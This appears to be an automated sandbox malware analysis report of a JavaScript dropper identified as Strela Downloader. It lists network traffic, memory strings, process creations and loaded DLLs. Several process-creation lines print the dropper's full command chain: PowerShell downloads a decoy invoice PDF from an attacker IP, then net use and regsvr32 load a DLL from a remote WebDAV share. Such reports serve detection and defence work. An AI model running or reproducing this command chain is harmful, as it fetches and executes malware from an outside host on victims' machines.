Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49743

Source: global traffic

TCP traffic: 192.168.2.10:49743 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.10:51557 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49727 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1306033124.0000027E0D0C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1360064411.000001CE42F9F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1360064411.000001CE42F84000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1360064411.000001CE42F48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1360064411.000001CE42F48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/B
Source: net.exe, 00000007.00000002.1360064411.000001CE42F48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/x1
Source: svchost.exe, 00000009.00000002.2589317804.0000022818C8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1368952175.0000022818AB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 8144, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 4702309321830413443.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7400:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oq1bpgnb.blu.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 4702309321830413443.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1728,i,10853324253008590599,16363621483896230519,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1728,i,10853324253008590599,16363621483896230519,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
